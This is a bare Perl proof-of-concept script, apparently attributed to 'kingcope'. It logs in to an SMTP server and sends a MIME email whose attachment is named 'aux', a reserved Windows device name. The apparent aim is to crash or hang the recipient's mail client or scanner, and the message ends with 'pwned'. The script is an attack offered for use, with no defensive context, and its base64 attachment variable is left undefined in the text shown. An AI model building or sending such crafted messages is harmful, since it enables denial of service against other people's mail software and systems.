use Net::SMTP_auth; $smtp = Net::SMTP_auth->new('mail.gmx.net'); $smtp->auth('CRAM-MD5', 'username', 'password'); # for smtp authentication $smtp->mail("kingcope\@gmx.net"); $smtp->to("kingcope\@gmx.net"); $a="aux"; $msg = "Subject: a MIME-Version: 1.0 Content-Type: multipart/mixed; boundary= \"KkK170891tpbkKk__FV_KKKkkkjjwq\" --KkK170891tpbkKk__FV_KKKkkkjjwq Content-Type: text/html; charset=US-ASCII here goes the text message --KkK170891tpbkKk__FV_KKKkkkjjwq Content-Type: text/html Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename= \"".$a."\" $x --KkK170891tpbkKk__FV_KKKkkkjjwq-- "; $smtp->data(); $smtp->datasend("To: kingcope\@gmx.net\n"); $smtp->datasend("$msg\n"); $smtp->datasend("pwned\n"); $smtp->dataend(); $smtp->quit;